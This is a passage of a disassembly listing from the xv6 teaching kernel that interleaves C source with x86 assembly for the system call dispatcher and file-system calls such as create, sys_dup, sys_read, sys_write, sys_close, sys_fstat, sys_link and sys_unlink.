if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
80104958: 89 44 24 0c mov %eax,0xc(%esp)
proc->pid, proc->name, num);
8010495c: 8d 42 6c lea 0x6c(%edx),%eax
8010495f: 89 44 24 08 mov %eax,0x8(%esp)
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
80104963: 8b 42 10 mov 0x10(%edx),%eax
80104966: c7 04 24 b1 76 10 80 movl $0x801076b1,(%esp)
8010496d: 89 44 24 04 mov %eax,0x4(%esp)
80104971: e8 da bc ff ff call 80100650 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
80104976: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010497c: 8b 40 18 mov 0x18(%eax),%eax
8010497f: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
80104986: 83 c4 14 add $0x14,%esp
80104989: 5b pop %ebx
8010498a: 5d pop %ebp
8010498b: c3 ret
8010498c: 66 90 xchg %ax,%ax
8010498e: 66 90 xchg %ax,%ax
80104990 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
80104990: 55 push %ebp
80104991: 89 e5 mov %esp,%ebp
80104993: 57 push %edi
80104994: 56 push %esi
80104995: 53 push %ebx
80104996: 83 ec 4c sub $0x4c,%esp
80104999: 89 4d c0 mov %ecx,-0x40(%ebp)
8010499c: 8b 4d 08 mov 0x8(%ebp),%ecx
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
8010499f: 8d 5d da lea -0x26(%ebp),%ebx
801049a2: 89 5c 24 04 mov %ebx,0x4(%esp)
801049a6: 89 04 24 mov %eax,(%esp)
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801049a9: 89 55 c4 mov %edx,-0x3c(%ebp)
801049ac: 89 4d bc mov %ecx,-0x44(%ebp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801049af: e8 5c d5 ff ff call 80101f10 <nameiparent>
801049b4: 85 c0 test %eax,%eax
801049b6: 89 c7 mov %eax,%edi
801049b8: 0f 84 da 00 00 00 je 80104a98 <create+0x108>
return 0;
ilock(dp);
801049be: 89 04 24 mov %eax,(%esp)
801049c1: e8 fa cc ff ff call 801016c0 <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
801049c6: 8d 45 d4 lea -0x2c(%ebp),%eax
801049c9: 89 44 24 08 mov %eax,0x8(%esp)
801049cd: 89 5c 24 04 mov %ebx,0x4(%esp)
801049d1: 89 3c 24 mov %edi,(%esp)
801049d4: e8 d7 d1 ff ff call 80101bb0 <dirlookup>
801049d9: 85 c0 test %eax,%eax
801049db: 89 c6 mov %eax,%esi
801049dd: 74 41 je 80104a20 <create+0x90>
iunlockput(dp);
801049df: 89 3c 24 mov %edi,(%esp)
801049e2: e8 19 cf ff ff call 80101900 <iunlockput>
ilock(ip);
801049e7: 89 34 24 mov %esi,(%esp)
801049ea: e8 d1 cc ff ff call 801016c0 <ilock>
if(type == T_FILE && ip->type == T_FILE)
801049ef: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp)
801049f4: 75 12 jne 80104a08 <create+0x78>
801049f6: 66 83 7e 50 02 cmpw $0x2,0x50(%esi)
801049fb: 89 f0 mov %esi,%eax
801049fd: 75 09 jne 80104a08 <create+0x78>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
801049ff: 83 c4 4c add $0x4c,%esp
80104a02: 5b pop %ebx
80104a03: 5e pop %esi
80104a04: 5f pop %edi
80104a05: 5d pop %ebp
80104a06: c3 ret
80104a07: 90 nop
if((ip = dirlookup(dp, name, &off)) != 0){
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
80104a08: 89 34 24 mov %esi,(%esp)
80104a0b: e8 f0 ce ff ff call 80101900 <iunlockput>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104a10: 83 c4 4c add $0x4c,%esp
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
return 0;
80104a13: 31 c0 xor %eax,%eax
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104a15: 5b pop %ebx
80104a16: 5e pop %esi
80104a17: 5f pop %edi
80104a18: 5d pop %ebp
80104a19: c3 ret
80104a1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return ip;
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
80104a20: 0f bf 45 c4 movswl -0x3c(%ebp),%eax
80104a24: 89 44 24 04 mov %eax,0x4(%esp)
80104a28: 8b 07 mov (%edi),%eax
80104a2a: 89 04 24 mov %eax,(%esp)
80104a2d: e8 fe ca ff ff call 80101530 <ialloc>
80104a32: 85 c0 test %eax,%eax
80104a34: 89 c6 mov %eax,%esi
80104a36: 0f 84 bf 00 00 00 je 80104afb <create+0x16b>
panic("create: ialloc");
ilock(ip);
80104a3c: 89 04 24 mov %eax,(%esp)
80104a3f: e8 7c cc ff ff call 801016c0 <ilock>
ip->major = major;
80104a44: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80104a48: 66 89 46 52 mov %ax,0x52(%esi)
ip->minor = minor;
80104a4c: 0f b7 45 bc movzwl -0x44(%ebp),%eax
80104a50: 66 89 46 54 mov %ax,0x54(%esi)
ip->nlink = 1;
80104a54: b8 01 00 00 00 mov $0x1,%eax
80104a59: 66 89 46 56 mov %ax,0x56(%esi)
iupdate(ip);
80104a5d: 89 34 24 mov %esi,(%esp)
80104a60: e8 9b cb ff ff call 80101600 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80104a65: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp)
80104a6a: 74 34 je 80104aa0 <create+0x110>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
panic("create dots");
}
if(dirlink(dp, name, ip->inum) < 0)
80104a6c: 8b 46 04 mov 0x4(%esi),%eax
80104a6f: 89 5c 24 04 mov %ebx,0x4(%esp)
80104a73: 89 3c 24 mov %edi,(%esp)
80104a76: 89 44 24 08 mov %eax,0x8(%esp)
80104a7a: e8 91 d3 ff ff call 80101e10 <dirlink>
80104a7f: 85 c0 test %eax,%eax
80104a81: 78 6c js 80104aef <create+0x15f>
panic("create: dirlink");
iunlockput(dp);
80104a83: 89 3c 24 mov %edi,(%esp)
80104a86: e8 75 ce ff ff call 80101900 <iunlockput>
return ip;
}
80104a8b: 83 c4 4c add $0x4c,%esp
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
iunlockput(dp);
return ip;
80104a8e: 89 f0 mov %esi,%eax
}
80104a90: 5b pop %ebx
80104a91: 5e pop %esi
80104a92: 5f pop %edi
80104a93: 5d pop %ebp
80104a94: c3 ret
80104a95: 8d 76 00 lea 0x0(%esi),%esi
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
return 0;
80104a98: 31 c0 xor %eax,%eax
80104a9a: e9 60 ff ff ff jmp 801049ff <create+0x6f>
80104a9f: 90 nop
ip->minor = minor;
ip->nlink = 1;
iupdate(ip);
if(type == T_DIR){ // Create . and .. entries.
dp->nlink++; // for ".."
80104aa0: 66 83 47 56 01 addw $0x1,0x56(%edi)
iupdate(dp);
80104aa5: 89 3c 24 mov %edi,(%esp)
80104aa8: e8 53 cb ff ff call 80101600 <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80104aad: 8b 46 04 mov 0x4(%esi),%eax
80104ab0: c7 44 24 04 60 77 10 movl $0x80107760,0x4(%esp)
80104ab7: 80
80104ab8: 89 34 24 mov %esi,(%esp)
80104abb: 89 44 24 08 mov %eax,0x8(%esp)
80104abf: e8 4c d3 ff ff call 80101e10 <dirlink>
80104ac4: 85 c0 test %eax,%eax
80104ac6: 78 1b js 80104ae3 <create+0x153>
80104ac8: 8b 47 04 mov 0x4(%edi),%eax
80104acb: c7 44 24 04 5f 77 10 movl $0x8010775f,0x4(%esp)
80104ad2: 80
80104ad3: 89 34 24 mov %esi,(%esp)
80104ad6: 89 44 24 08 mov %eax,0x8(%esp)
80104ada: e8 31 d3 ff ff call 80101e10 <dirlink>
80104adf: 85 c0 test %eax,%eax
80104ae1: 79 89 jns 80104a6c <create+0xdc>
panic("create dots");
80104ae3: c7 04 24 53 77 10 80 movl $0x80107753,(%esp)
80104aea: e8 71 b8 ff ff call 80100360 <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
80104aef: c7 04 24 62 77 10 80 movl $0x80107762,(%esp)
80104af6: e8 65 b8 ff ff call 80100360 <panic>
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
panic("create: ialloc");
80104afb: c7 04 24 44 77 10 80 movl $0x80107744,(%esp)
80104b02: e8 59 b8 ff ff call 80100360 <panic>
80104b07: 89 f6 mov %esi,%esi
80104b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104b10 <argfd.constprop.0>:
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
80104b10: 55 push %ebp
80104b11: 89 e5 mov %esp,%ebp
80104b13: 56 push %esi
80104b14: 89 c6 mov %eax,%esi
80104b16: 53 push %ebx
80104b17: 89 d3 mov %edx,%ebx
80104b19: 83 ec 20 sub $0x20,%esp
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80104b1c: 8d 45 f4 lea -0xc(%ebp),%eax
80104b1f: 89 44 24 04 mov %eax,0x4(%esp)
80104b23: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104b2a: e8 e1 fc ff ff call 80104810 <argint>
80104b2f: 85 c0 test %eax,%eax
80104b31: 78 35 js 80104b68 <argfd.constprop.0+0x58>
return -1;
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
80104b33: 8b 4d f4 mov -0xc(%ebp),%ecx
80104b36: 83 f9 0f cmp $0xf,%ecx
80104b39: 77 2d ja 80104b68 <argfd.constprop.0+0x58>
80104b3b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b41: 8b 44 88 28 mov 0x28(%eax,%ecx,4),%eax
80104b45: 85 c0 test %eax,%eax
80104b47: 74 1f je 80104b68 <argfd.constprop.0+0x58>
return -1;
if(pfd)
80104b49: 85 f6 test %esi,%esi
80104b4b: 74 02 je 80104b4f <argfd.constprop.0+0x3f>
*pfd = fd;
80104b4d: 89 0e mov %ecx,(%esi)
if(pf)
80104b4f: 85 db test %ebx,%ebx
80104b51: 74 0d je 80104b60 <argfd.constprop.0+0x50>
*pf = f;
80104b53: 89 03 mov %eax,(%ebx)
return 0;
80104b55: 31 c0 xor %eax,%eax
}
80104b57: 83 c4 20 add $0x20,%esp
80104b5a: 5b pop %ebx
80104b5b: 5e pop %esi
80104b5c: 5d pop %ebp
80104b5d: c3 ret
80104b5e: 66 90 xchg %ax,%ax
return -1;
if(pfd)
*pfd = fd;
if(pf)
*pf = f;
return 0;
80104b60: 31 c0 xor %eax,%eax
80104b62: eb f3 jmp 80104b57 <argfd.constprop.0+0x47>
80104b64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
return -1;
80104b68: b8 ff ff ff ff mov $0xffffffff,%eax
80104b6d: eb e8 jmp 80104b57 <argfd.constprop.0+0x47>
80104b6f: 90 nop
80104b70 <sys_dup>:
return -1;
}
int
sys_dup(void)
{
80104b70: 55 push %ebp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104b71: 31 c0 xor %eax,%eax
return -1;
}
int
sys_dup(void)
{
80104b73: 89 e5 mov %esp,%ebp
80104b75: 53 push %ebx
80104b76: 83 ec 24 sub $0x24,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104b79: 8d 55 f4 lea -0xc(%ebp),%edx
80104b7c: e8 8f ff ff ff call 80104b10 <argfd.constprop.0>
80104b81: 85 c0 test %eax,%eax
80104b83: 78 1b js 80104ba0 <sys_dup+0x30>
return -1;
if((fd=fdalloc(f)) < 0)
80104b85: 8b 55 f4 mov -0xc(%ebp),%edx
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80104b88: 31 db xor %ebx,%ebx
80104b8a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
if(proc->ofile[fd] == 0){
80104b90: 8b 4c 98 28 mov 0x28(%eax,%ebx,4),%ecx
80104b94: 85 c9 test %ecx,%ecx
80104b96: 74 18 je 80104bb0 <sys_dup+0x40>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80104b98: 83 c3 01 add $0x1,%ebx
80104b9b: 83 fb 10 cmp $0x10,%ebx
80104b9e: 75 f0 jne 80104b90 <sys_dup+0x20>
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
}
80104ba0: 83 c4 24 add $0x24,%esp
{
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
return -1;
80104ba3: b8 ff ff ff ff mov $0xffffffff,%eax
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
}
80104ba8: 5b pop %ebx
80104ba9: 5d pop %ebp
80104baa: c3 ret
80104bab: 90 nop
80104bac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
80104bb0: 89 54 98 28 mov %edx,0x28(%eax,%ebx,4)
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
80104bb4: 89 14 24 mov %edx,(%esp)
80104bb7: e8 24 c2 ff ff call 80100de0 <filedup>
return fd;
}
80104bbc: 83 c4 24 add $0x24,%esp
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
80104bbf: 89 d8 mov %ebx,%eax
}
80104bc1: 5b pop %ebx
80104bc2: 5d pop %ebp
80104bc3: c3 ret
80104bc4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104bca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104bd0 <sys_read>:
int
sys_read(void)
{
80104bd0: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104bd1: 31 c0 xor %eax,%eax
return fd;
}
int
sys_read(void)
{
80104bd3: 89 e5 mov %esp,%ebp
80104bd5: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104bd8: 8d 55 ec lea -0x14(%ebp),%edx
80104bdb: e8 30 ff ff ff call 80104b10 <argfd.constprop.0>
80104be0: 85 c0 test %eax,%eax
80104be2: 78 54 js 80104c38 <sys_read+0x68>
80104be4: 8d 45 f0 lea -0x10(%ebp),%eax
80104be7: 89 44 24 04 mov %eax,0x4(%esp)
80104beb: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104bf2: e8 19 fc ff ff call 80104810 <argint>
80104bf7: 85 c0 test %eax,%eax
80104bf9: 78 3d js 80104c38 <sys_read+0x68>
80104bfb: 8b 45 f0 mov -0x10(%ebp),%eax
80104bfe: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104c05: 89 44 24 08 mov %eax,0x8(%esp)
80104c09: 8d 45 f4 lea -0xc(%ebp),%eax
80104c0c: 89 44 24 04 mov %eax,0x4(%esp)
80104c10: e8 3b fc ff ff call 80104850 <argptr>
80104c15: 85 c0 test %eax,%eax
80104c17: 78 1f js 80104c38 <sys_read+0x68>
return -1;
return fileread(f, p, n);
80104c19: 8b 45 f0 mov -0x10(%ebp),%eax
80104c1c: 89 44 24 08 mov %eax,0x8(%esp)
80104c20: 8b 45 f4 mov -0xc(%ebp),%eax
80104c23: 89 44 24 04 mov %eax,0x4(%esp)
80104c27: 8b 45 ec mov -0x14(%ebp),%eax
80104c2a: 89 04 24 mov %eax,(%esp)
80104c2d: e8 0e c3 ff ff call 80100f40 <fileread>
}
80104c32: c9 leave
80104c33: c3 ret
80104c34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104c38: b8 ff ff ff ff mov $0xffffffff,%eax
return fileread(f, p, n);
}
80104c3d: c9 leave
80104c3e: c3 ret
80104c3f: 90 nop
80104c40 <sys_write>:
int
sys_write(void)
{
80104c40: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104c41: 31 c0 xor %eax,%eax
return fileread(f, p, n);
}
int
sys_write(void)
{
80104c43: 89 e5 mov %esp,%ebp
80104c45: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104c48: 8d 55 ec lea -0x14(%ebp),%edx
80104c4b: e8 c0 fe ff ff call 80104b10 <argfd.constprop.0>
80104c50: 85 c0 test %eax,%eax
80104c52: 78 54 js 80104ca8 <sys_write+0x68>
80104c54: 8d 45 f0 lea -0x10(%ebp),%eax
80104c57: 89 44 24 04 mov %eax,0x4(%esp)
80104c5b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104c62: e8 a9 fb ff ff call 80104810 <argint>
80104c67: 85 c0 test %eax,%eax
80104c69: 78 3d js 80104ca8 <sys_write+0x68>
80104c6b: 8b 45 f0 mov -0x10(%ebp),%eax
80104c6e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104c75: 89 44 24 08 mov %eax,0x8(%esp)
80104c79: 8d 45 f4 lea -0xc(%ebp),%eax
80104c7c: 89 44 24 04 mov %eax,0x4(%esp)
80104c80: e8 cb fb ff ff call 80104850 <argptr>
80104c85: 85 c0 test %eax,%eax
80104c87: 78 1f js 80104ca8 <sys_write+0x68>
return -1;
return filewrite(f, p, n);
80104c89: 8b 45 f0 mov -0x10(%ebp),%eax
80104c8c: 89 44 24 08 mov %eax,0x8(%esp)
80104c90: 8b 45 f4 mov -0xc(%ebp),%eax
80104c93: 89 44 24 04 mov %eax,0x4(%esp)
80104c97: 8b 45 ec mov -0x14(%ebp),%eax
80104c9a: 89 04 24 mov %eax,(%esp)
80104c9d: e8 3e c3 ff ff call 80100fe0 <filewrite>
}
80104ca2: c9 leave
80104ca3: c3 ret
80104ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104ca8: b8 ff ff ff ff mov $0xffffffff,%eax
return filewrite(f, p, n);
}
80104cad: c9 leave
80104cae: c3 ret
80104caf: 90 nop
80104cb0 <sys_close>:
int
sys_close(void)
{
80104cb0: 55 push %ebp
80104cb1: 89 e5 mov %esp,%ebp
80104cb3: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80104cb6: 8d 55 f4 lea -0xc(%ebp),%edx
80104cb9: 8d 45 f0 lea -0x10(%ebp),%eax
80104cbc: e8 4f fe ff ff call 80104b10 <argfd.constprop.0>
80104cc1: 85 c0 test %eax,%eax
80104cc3: 78 23 js 80104ce8 <sys_close+0x38>
return -1;
proc->ofile[fd] = 0;
80104cc5: 8b 55 f0 mov -0x10(%ebp),%edx
80104cc8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104cce: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104cd5: 00
fileclose(f);
80104cd6: 8b 45 f4 mov -0xc(%ebp),%eax
80104cd9: 89 04 24 mov %eax,(%esp)
80104cdc: e8 4f c1 ff ff call 80100e30 <fileclose>
return 0;
80104ce1: 31 c0 xor %eax,%eax
}
80104ce3: c9 leave
80104ce4: c3 ret
80104ce5: 8d 76 00 lea 0x0(%esi),%esi
{
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
return -1;
80104ce8: b8 ff ff ff ff mov $0xffffffff,%eax
proc->ofile[fd] = 0;
fileclose(f);
return 0;
}
80104ced: c9 leave
80104cee: c3 ret
80104cef: 90 nop
80104cf0 <sys_fstat>:
int
sys_fstat(void)
{
80104cf0: 55 push %ebp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104cf1: 31 c0 xor %eax,%eax
return 0;
}
int
sys_fstat(void)
{
80104cf3: 89 e5 mov %esp,%ebp
80104cf5: 83 ec 28 sub $0x28,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104cf8: 8d 55 f0 lea -0x10(%ebp),%edx
80104cfb: e8 10 fe ff ff call 80104b10 <argfd.constprop.0>
80104d00: 85 c0 test %eax,%eax
80104d02: 78 34 js 80104d38 <sys_fstat+0x48>
80104d04: 8d 45 f4 lea -0xc(%ebp),%eax
80104d07: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104d0e: 00
80104d0f: 89 44 24 04 mov %eax,0x4(%esp)
80104d13: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104d1a: e8 31 fb ff ff call 80104850 <argptr>
80104d1f: 85 c0 test %eax,%eax
80104d21: 78 15 js 80104d38 <sys_fstat+0x48>
return -1;
return filestat(f, st);
80104d23: 8b 45 f4 mov -0xc(%ebp),%eax
80104d26: 89 44 24 04 mov %eax,0x4(%esp)
80104d2a: 8b 45 f0 mov -0x10(%ebp),%eax
80104d2d: 89 04 24 mov %eax,(%esp)
80104d30: e8 bb c1 ff ff call 80100ef0 <filestat>
}
80104d35: c9 leave
80104d36: c3 ret
80104d37: 90 nop
{
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
return -1;
80104d38: b8 ff ff ff ff mov $0xffffffff,%eax
return filestat(f, st);
}
80104d3d: c9 leave
80104d3e: c3 ret
80104d3f: 90 nop
80104d40 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104d40: 55 push %ebp
80104d41: 89 e5 mov %esp,%ebp
80104d43: 57 push %edi
80104d44: 56 push %esi
80104d45: 53 push %ebx
80104d46: 83 ec 3c sub $0x3c,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104d49: 8d 45 d4 lea -0x2c(%ebp),%eax
80104d4c: 89 44 24 04 mov %eax,0x4(%esp)
80104d50: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104d57: e8 44 fb ff ff call 801048a0 <argstr>
80104d5c: 85 c0 test %eax,%eax
80104d5e: 0f 88 e6 00 00 00 js 80104e4a <sys_link+0x10a>
80104d64: 8d 45 d0 lea -0x30(%ebp),%eax
80104d67: 89 44 24 04 mov %eax,0x4(%esp)
80104d6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104d72: e8 29 fb ff ff call 801048a0 <argstr>
80104d77: 85 c0 test %eax,%eax
80104d79: 0f 88 cb 00 00 00 js 80104e4a <sys_link+0x10a>
return -1;
begin_op();
80104d7f: e8 0c de ff ff call 80102b90 <begin_op>
if((ip = namei(old)) == 0){
80104d84: 8b 45 d4 mov -0x2c(%ebp),%eax
80104d87: 89 04 24 mov %eax,(%esp)
80104d8a: e8 61 d1 ff ff call 80101ef0 <namei>
80104d8f: 85 c0 test %eax,%eax
80104d91: 89 c3 mov %eax,%ebx
80104d93: 0f 84 ac 00 00 00 je 80104e45 <sys_link+0x105>
end_op();
return -1;
}
ilock(ip);
80104d99: 89 04 24 mov %eax,(%esp)
80104d9c: e8 1f c9 ff ff call 801016c0 <ilock>
if(ip->type == T_DIR){
80104da1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104da6: 0f 84 91 00 00 00 je 80104e3d <sys_link+0xfd>
iunlockput(ip);
end_op();
return -1;
}
ip->nlink++;
80104dac: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(ip);
iunlock(ip);
if((dp = nameiparent(new, name)) == 0)
80104db1: 8d 7d da lea -0x26(%ebp),%edi
end_op();
return -1;
}
ip->nlink++;
iupdate(ip);
80104db4: 89 1c 24 mov %ebx,(%esp)
80104db7: e8 44 c8 ff ff call 80101600 <iupdate>
iunlock(ip);
80104dbc: 89 1c 24 mov %ebx,(%esp)
80104dbf: e8 cc c9 ff ff call 80101790 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80104dc4: 8b 45 d0 mov -0x30(%ebp),%eax
80104dc7: 89 7c 24 04 mov %edi,0x4(%esp)
80104dcb: 89 04 24 mov %eax,(%esp)
80104dce: e8 3d d1 ff ff call 80101f10 <nameiparent>
80104dd3: 85 c0 test %eax,%eax
80104dd5: 89 c6 mov %eax,%esi
80104dd7: 74 4f je 80104e28 <sys_link+0xe8>
goto bad;
ilock(dp);
80104dd9: 89 04 24 mov %eax,(%esp)
80104ddc: e8 df c8 ff ff call 801016c0 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80104de1: 8b 03 mov (%ebx),%eax
80104de3: 39 06 cmp %eax,(%esi)
80104de5: 75 39 jne 80104e20 <sys_link+0xe0>
80104de7: 8b 43 04 mov 0x4(%ebx),%eax
80104dea: 89 7c 24 04 mov %edi,0x4(%esp)
80104dee: 89 34 24 mov %esi,(%esp)
80104df1: 89 44 24 08 mov %eax,0x8(%esp)
80104df5: e8 16 d0 ff ff call 80101e10 <dirlink>
80104dfa: 85 c0 test %eax,%eax
80104dfc: 78 22 js 80104e20 <sys_link+0xe0>
iunlockput(dp);
goto bad;
}
iunlockput(dp);
80104dfe: 89 34 24 mov %esi,(%esp)
80104e01: e8 fa ca ff ff call 80101900 <iunlockput>
iput(ip);
80104e06: 89 1c 24 mov %ebx,(%esp)
80104e09: e8 c2 c9 ff ff call 801017d0 <iput>
end_op();
80104e0e: e8 ed dd ff ff call 80102c00 <end_op>
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
}
80104e13: 83 c4 3c add $0x3c,%esp
iunlockput(dp);
iput(ip);
end_op();
return 0;
80104e16: 31 c0 xor %eax,%eax
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
}
80104e18: 5b pop %ebx
80104e19: 5e pop %esi
80104e1a: 5f pop %edi
80104e1b: 5d pop %ebp
80104e1c: c3 ret
80104e1d: 8d 76 00 lea 0x0(%esi),%esi
if((dp = nameiparent(new, name)) == 0)
goto bad;
ilock(dp);
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
iunlockput(dp);
80104e20: 89 34 24 mov %esi,(%esp)
80104e23: e8 d8 ca ff ff call 80101900 <iunlockput>
end_op();
return 0;
bad:
ilock(ip);
80104e28: 89 1c 24 mov %ebx,(%esp)
80104e2b: e8 90 c8 ff ff call 801016c0 <ilock>
ip->nlink--;
80104e30: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104e35: 89 1c 24 mov %ebx,(%esp)
80104e38: e8 c3 c7 ff ff call 80101600 <iupdate>
iunlockput(ip);
80104e3d: 89 1c 24 mov %ebx,(%esp)
80104e40: e8 bb ca ff ff call 80101900 <iunlockput>
end_op();
80104e45: e8 b6 dd ff ff call 80102c00 <end_op>
return -1;
}
80104e4a: 83 c4 3c add $0x3c,%esp
ilock(ip);
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
80104e4d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e52: 5b pop %ebx
80104e53: 5e pop %esi
80104e54: 5f pop %edi
80104e55: 5d pop %ebp
80104e56: c3 ret
80104e57: 89 f6 mov %esi,%esi
80104e59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e60 <sys_unlink>:
}
//PAGEBREAK!
int
sys_unlink(void)
{
80104e60: 55 push %ebp
80104e61: 89 e5 mov %esp,%ebp
80104e63: 57 push %edi
80104e64: 56 push %esi
80104e65: 53 push %ebx
80104e66: 83 ec 5c sub $0x5c,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80104e69: 8d 45 c0 lea -0x40(%ebp),%eax
80104e6c: 89 44 24 04 mov %eax,0x4(%esp)
80104e70: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104e77: e8 24 fa ff ff call 801048a0 <argstr>
80104e7c: 85 c0 test %eax,%eax
80104e7e: 0f 88 76 01 00 00 js 80104ffa <sys_unlink+0x19a>
return -1;
begin_op();
80104e84: e8 07 dd ff ff call 80102b90 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80104e89: 8b 45 c0 mov -0x40(%ebp),%eax
80104e8c: 8d 5d ca lea -0x36(%ebp),%ebx
80104e8f: 89 5c 24 04 mov %ebx,0x4(%esp)
80104e93: 89 04 24 mov %eax,(%esp)
